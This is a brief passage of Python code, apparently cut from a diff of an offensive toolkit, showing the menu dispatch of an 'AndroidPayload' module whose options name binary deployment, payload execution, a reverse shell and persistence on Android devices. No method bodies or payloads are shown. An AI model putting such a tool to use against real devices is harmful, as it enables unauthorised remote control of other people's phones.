'1': self.deploy_binary,
'2': self.execute_payload,
'3': self.reverse_shell,
'4': self.persistence,
'5': self.list_payloads,
'6': self.kill_payload,
's': self._select_device,
}
action = actions.get(choice)
if action:
action()
else:
print(" Invalid choice.")
def run():
m = AndroidPayload()
m.run_interactive()

Some files were not shown because too many files have changed in this diff Show More